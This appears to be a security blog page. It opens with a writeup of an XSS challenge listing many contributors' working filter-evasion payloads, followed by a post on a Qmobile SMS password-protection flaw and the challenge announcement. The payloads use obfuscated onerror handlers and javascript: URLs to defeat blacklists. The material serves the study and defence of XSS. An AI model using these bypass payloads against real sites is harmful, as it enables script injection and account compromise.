class="tr_bq">window.name="location='javascript:alert(1)'"<br />location="https://challenges.prakharprasad.com/xss/2/xss.php?xss=x+onerror='vbs:setTimeout %22setTimeout windo%22%26%22w.nam%22%26%22e%22'"</blockquote><br /><b>Solution#6</b><br /><blockquote class="tr_bq">window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27123%27%20onerror=l=%27locatin%27;l=l[0]%2Bl[1]%2Bl[2]%2Bl<br />[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];opener[l]=%27javascrip%27%2B%27t:aler%27%2B%27t%27%<br />2Bnavigator.userAgent[12]%2B1%2Bnavigator.userAgent[27];", "_self");</blockquote></div><h4><b>4. </b>Masahiro YAMADA</h4><div><b>Update: Masahiro YAMADA has done a detailed writeup of his solutions <a href="http://t.co/tmeBp8U7Q9" rel="nofollow" target="_blank">here</a>.  </b><br /><br /><div style="font-weight: normal;"><b>Solution#1</b></div></div><blockquote class="tr_bq" style="font-weight: normal;"><script><br />if (location.search.length=="") {<br />location.href = location.href + "?x=<"+"img src=. onerror=alert(1)>";<br />}<br /></script></blockquote><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;"><b>Solution#2</b></div><blockquote class="tr_bq" style="font-weight: normal;"><a href='https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror=&#x27;event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L]=event.target["par"%2B"entE"%2B"lement"]["par"%2B"entE"%2B"lement"]["ownerD"%2B"ocument"].referrer&#x27;' target="_blank">go</a></blockquote><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;"><b>Solution#3</b></div><blockquote class="tr_bq" style="font-weight: normal;"><script><br />function goXss() {<br />var w = window.open();<br />w.name="<"+"img src=. onerror=alert(1)>";<br />w.location.href=('https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onclick=\'event.target["par"%2B"entE"%2B"lement"]["innerHTM"%2B"L"]=arguments[0].view["na"%2B"me"]\'');<br />}<br /></script></blockquote><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;"><b>Solution#4</b></div><blockquote class="tr_bq" style="font-weight: normal;">https://challenges.prakharprasad.com/xss/2/xss.php?xss=.+onerror='e=event.target["par"%2B"entE"%2B"lement"];o=e<br />["innerHTM"%2B"L"];lt=o[11];gt=o[o.length-1];e["innerHTM"%2B"L"]=lt%2B"img src=. onerror=al"%2B"ert%26%23x28;1%26%23x29;"%2Bgt'</blockquote><h4><b>5. Luat Nguyen</b></h4><div style="font-weight: normal;"><b>Solution #1:</b></div><blockquote class="tr_bq" style="font-weight: normal;">https://challenges.prakharprasad.com/xss/2/xss.php<br />?xss='1' id=xxx onerror=parent.xxx['outerHTM'%2b'L']=parent['locatio'%2b'n']['has'%2b'h'] #<svg onload=alert(1)></blockquote><div style="font-weight: normal;"><br /></div><div style="font-weight: normal;"><b>Solution #2:</b></div><blockquote class="tr_bq" style="font-weight: normal;">https://challenges.prakharprasad.com/xss/2/xss.php<br />?xss='1' id=xxx abc='aler%26%23x74%26%23x28%201%26%23x29' onload=1 onerror=xxx['innerHTM'%2b'L']=xxx['attribut'%2b'es']['abc']['valu'%2b'e'];xxx['attribut'%2b'es']['onload']['valu'%2b'e']=xxx['innerHTM'%2b'L'];xxx.src='logo'<br />(is not using location.hash)</blockquote><h4 style="text-align: left;"><b>6. file descriptor</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27%27onerror=body[%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><br /><b>Solution#2</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=images[0][%27innerHTM%27%2b%27L%27]=URL#<svg/onload=alert(1)></blockquote><div><h4 style="text-align: left;"><b>7. Roman Shafigullin</b></h4><b>Solution#1</b><br /><b>for Chrome</b><br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27x%27%20onerror=v=[onerror%2B%27%27][0];attributes[1].value=%27aler%27%2B%27t%27%2Bv[16]%2B1%2Bv[22];src=2</blockquote><br /><b>Solution#2</b><br /><b>for firefox</b><br /><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss='x' onerror=v=[onerror%2B''][0];attributes[0].value='aler'%2B't'%2Bv[16]%2B1%2Bv[38];src=2</blockquote><h4 style="text-align: left;"><b>8. Ahmed Nafeez</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=%27123%27%20onerror=l=%27locatin%27;l=<br />l[0]%2Bl[1]%2Bl[2]%2Bl[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];<br />opener[l]=%27javascrip%27%2B%27t:aler%27%2B%27t%27%2<br />Bnavigator.userAgent[12]%2B1%2Bnavigator.userAgent[36];", "_self");</blockquote><div><br /><b>Solution#2</b><br /><blockquote class="tr_bq">window.open("https://challenges.prakharprasad.com/xss/2/xss.php?lol=()&xss=%27123%27%20onerror=l<br />=%27locatin%27;l=l[0]%2Bl[1]%2Bl[2]%2Bl[3]%2Bl[4]%2Bl[5]%2Bl[1]%2Bl[6];opener[l]=%27javascri<br />p%27%2B%27t:aler%27%2B%27t%27%2Bopener[l].search[6]%2B1%2Bopener[l].search[6]", "_self");</blockquote></div><div><h4 style="text-align: left;"><b>9. Frans Rosen</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=parentNode[%27innerHT%27%2b%27ML%27]=URL#<img src=x onerror=alert(1)></blockquote><h4 style="text-align: left;"><b>10. Denis Kolegov</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq"><script><br />window.open("https://challenges.prakharprasad.com/xss/2/xss.php?xss=1%20onerror=c='locatio'%2b'n';parent[c]=parent['n'%2b'ame']", "javascript:alert(1)");<br /></script></blockquote><h4 style="text-align: left;"><b>11. topol</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=a onerror=parentNode['innerH'%2b'TML']=parent['loca'%2b'tion']['ha'%2b'sh']#<img src=a onerror=alert(1)></blockquote><h4 style="text-align: left;"><b>12. romain <romain.gaucher@gmail.com></b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=XsX%20onerror=parent[%27documen%27%2b%27t%27][%27bod%27%2b%27y%27][%27innerHTM%27%2b%27L%27]=%27%27%2bparent[%27locatio%27%2b%27n%27][%27has%27%2b%27h%27]#<img src=. onerror=alert(1) ></blockquote><h4 style="text-align: left;"><b>13. Giuseppe Trotta</b></h4><b>Solution#1</b><br /><blockquote class="tr_bq">https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=_=parentNode.parentNode.parentNode.<br />parentNode;__=_[%27loca%27%2b%27tion%27];p=__[%27ha%27%2b%27sh%27][2];pp=__[%27ha%27%2b%27sh%27][3];__[%27href%27]=%22javas%22%2b%22cript:a%22%2b%<br />22lert%22%2bp%2b%221%22%2bpp#:()</blockquote></div><div><h4 style="text-align: left;"><b>14. Alan Bishop <agb@graybishop.com></b></h4><br /><b>Solution#1</b><br /><blockquote class="tr_bq"><a href="https://challenges.prakharprasad.com/xss/2/xss.php?xss=x%20onerror=%27parentElement%5b%22inner%22%2b%22<br />HT%22%2b%22ML%22%5d=parentElement%5b%22owner<br />Docu%22%2b%22ment%22%5d%5b%22loca%22%2b%22tion%22%5d%5b%22ha%22%2b%22sh%<br />22%5d%27#<img src=x onerror='alert(1)'>">click me</a></blockquote></div>POC link - http://www.graybishop.com/xsschallenge.html<br /><div><h4 style="text-align: left;"><b>15. Mramydnei" mramydnei"</b></h4><b>Solution#1</b><br /><blockquote>Vector: http://133.52.240.75/test.htm?<svg onload=alert(1)><br />a onerror=parentNode['outerH'+'TML']=referrer<br />challenges.prakharprasad.com</blockquote><h4>Conclusion </h4>The challenge was based upon a very strict blacklist rules, however the bypasses prove yet again that "Blacklists" have never been and never would be the solution for mitigating cross site scripting attacks. In case, if I have missed any of your submission, Please let me know, I would update it accordingly.<br /><br />Last but not least, I would like to Sincerely thank "<b>Prakhar Prasad</b>" for hosting the challenge, "<b>Alex Infuhr</b>" with ideas to make the challenge more interesting and "<b>Giuseppe Trotta</b>" for hosting the challenge on hack.me.<br /><br />I would love to hear your feedback! Pass your comments. Cheers. </div></div></div>

Rhainfosec XSS Challenge 2 - Writeup

Last week, we announced our second XSS challenge after the tremendous success of our first XSS challenge. The challenge was based upon a bla...

+ Read more »

A Simple Design Flaw In Qmobile's Messaging System

<div dir="ltr" style="text-align: left;" trbidi="on"><b><br /></b><br /><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4VecE5kDV_PO5xNAYA2-2Y9xLwcUxDzTbnggrM5jqQpVNi4An-XIyZUPOYC74hOAi13v5oQVcwpEGmQXcpY8xFm12kyzldqTm-VT9T8Gl8xKIzvjTIrGawEcJcGSlRytyAgd9qa39PWQ/s1600/1244760761dwdujG.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4VecE5kDV_PO5xNAYA2-2Y9xLwcUxDzTbnggrM5jqQpVNi4An-XIyZUPOYC74hOAi13v5oQVcwpEGmQXcpY8xFm12kyzldqTm-VT9T8Gl8xKIzvjTIrGawEcJcGSlRytyAgd9qa39PWQ/s1600/1244760761dwdujG.jpg" /></a></div><h4>Introduction</h4>This post describes a simple design flaw inside of Qmobile handsets and describes why you shouldn't rely upon built in password protection mechanisms and why encryption is the best solution rather than using password protection mechanism.<br /><a name="more"></a>The testing was carried out on <b>Qmobile Noir A20</b>. The problem lies in the fact that even after the password protection of the messages, other applications which have the READ_SMS permission, could read the SMS in clear text (defeating the purpose of password in this case) .<br /><br />Qmobile based on a customized version of Android OS for the smartphones, has its own messaging app with an additional functionality of password protecting the messages, thus preventing it from unauthorized access.<br /><h4>Google Hangout</h4>Google hangout is a very popular android app used by millions of users for sending/receiving messages and it's most likely to be present in every android phone. As discussed before, Qmobile messaging app allows users to password protect the messages. However, the problem is that this doesn't prevent Google hangout or any other app (that has read access to messages) to read the messages. The Qmobile messaging app does not encrypt the messages.<br /><h4>Demonstration</h4>The following video demonstrates the issue:<br /><br /><iframe allowfullscreen="" frameborder="0" height="400" mozallowfullscreen="" src="//player.vimeo.com/video/97926900" webkitallowfullscreen="" width="500"></iframe><br /><br /><br />Since, Mobile security has never been my area of research, i asked one of my friends "<b>Francesco Stillavato"</b> for his opinion on this issue. For those of you who don't know, Francesco is the author of the "<a href="https://www.elearnsecurity.com/course/mobile_application_security_and_penetration_testing/" rel="nofollow" target="_blank"><b>Mobile Appication And Penetration Testing Course</b></a>" at elearnsecurity.com. take a look at his opinion:<br /><br /><u>I agree with you: the application password protection isn't enough if you really want to protect your data (SMS in this case). There are many things to consider when implementing this type of security mechanism: for example, if the app stores its data in the memory card (not encrypted), almost every application would be able to read them. It's still important to note that in this case, during the installation process, Hangout requires permission to read SMS; so if you accept and install it, you are granting permission to the app.  </u><br /><u><br /></u><u>While this may seem obvious, you should consider that if someone is able to physically access your device (open the play store and install an application), the application password protection may fails! So if you really want to protect your app data, you should consider to implement encryption (maybe using a master password) or store data in its own sandbox (like the SMS app) without allowing other app to ask for read permissions. </u><br /><u><br /></u>Here is what a world renowned android security expert and the CEO of Attity "<b>Aditiya Gupta</b>" has to say pertaining this issue:<br /><br /><u>QMobile should ensure that rather than giving a false sense of security to the users with a password protection of the messaging app (which could be easily bypassed), should also encrypt the messages while storing on the device if a user opts in for the password based security</u><br /><u><br /></u><br />If you have any questions or opinions, feel free to ask.  </div>

A Simple Design Flaw In Qmobile's Messaging System

Introduction This post describes a simple design flaw inside of Qmobile handsets and describes why you shouldn't rely upon built in pass...

+ Read more »

RHAinfoSec XSS Challenge - 2

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLMTO5yx0-Yoq5hFHFsQjZDIoEzCknHPn8l3PqK4ssgATRRDHuhfyQzuU3cnALwKJEyvO6Tozky5mb7BLId94ZOXsDCchXACeJdFp1Z2zjCHshuB5zi-qrgkwHc1_UWREY6uKR6XHMRZk/s1600/CHALLENGE-570x357.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="392" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLMTO5yx0-Yoq5hFHFsQjZDIoEzCknHPn8l3PqK4ssgATRRDHuhfyQzuU3cnALwKJEyvO6Tozky5mb7BLId94ZOXsDCchXACeJdFp1Z2zjCHshuB5zi-qrgkwHc1_UWREY6uKR6XHMRZk/s1600/CHALLENGE-570x357.jpg" width="577" /></a></div><br /><br /><b>Update: The results are announced <a href="http://www.rafayhackingarticles.net/2014/06/rhainfosec-xss-challenge-2-writeup.html" target="_blank">here</a>.</b><br /><br />Welcome readers,<br /><div><br /></div><div>After a tremendous response with our first <a href="http://www.rafayhackingarticles.net/2014/01/rhainfosec-xss-challenge-1-writeup_23.html" target="_blank">XSS challenge</a>, we decided to make your lives a bit harder this summer by launching another XSS challenge. Like always, our challenges always challenging and based upon real world scenarios and the key to solving it mostly rely upon the ability to think outside the box.  </div><div><a name="more"></a></div><div>The challenge is based upon a a strong blacklist based protection, beware that the challenge may be very hard for you unless you don't understand the right injection context.   </div><div><ul style="text-align: left;"></ul></div><div><h4>Challenge Rules/Goals</h4></div><div><ul style="text-align: left;"><li>The challenge goal is to execute alert(1) inside the browser.</li><li>Your payload must render javascript inside modern browsers. </li><li>The XSS protection header has been set to 0, which would turn off your client side XSS filter. </li></ul><div><h4>Challenge Link</h4><div><span style="font-weight: normal;">Special thanks to Mr</span> <u>Prakhar Prasad</u><span style="font-weight: normal;">, for deploying the challenge. </span><u>Alex Infuhr</u><span style="font-weight: normal;"> for beta testing and ideas with the challenge.  </span></div><ul style="font-weight: normal;"><li><b><a href="https://challenges.prakharprasad.com/xss/2" rel="nofollow" target="_blank">https://challenges.prakharprasad.com/xss/2</a></b></li></ul></div></div><h4>Hints/Tips</h4><div><ul style="text-align: left;"><li>If all you can do is <b>"><img src=x onerror=prompt(1);></b>, then our humble apologies this challenge is not for you. </li><li>The WAF can be very hard, if you don't know how to properly reverse engineer filter rules. </li><li>You could refer to my "<b><a href="http://www.rafayhackingarticles.net/2013/12/bypassing-modern-wafs-xss-filters-cheat.html" target="_blank">XSS Filter evasion Cheat sheet</a></b>" for ideas on cracking this challenge.</li><li>Automated scanners won't help here as often time they fail at producing context based payloads. </li></ul><div><h4>Submissions</h4></div></div><div>Sumbit your vector to <b><u>rafayhackingarticles@gmail.com</u></b> or<b> </b><u style="font-weight: bold;">prakhar@prakharprasad.com, </u>or you could DM on my twitter <complete id="goog_714568884" style="font-weight: bold;"><u>@rafaybaloch</u>, </complete>once you have cracked this challenge.</div></div>

RHAinfoSec XSS Challenge - 2

Update: The results are announced here . Welcome readers, After a tremendous response with our first XSS challenge , we decided to make your...

+ Read more »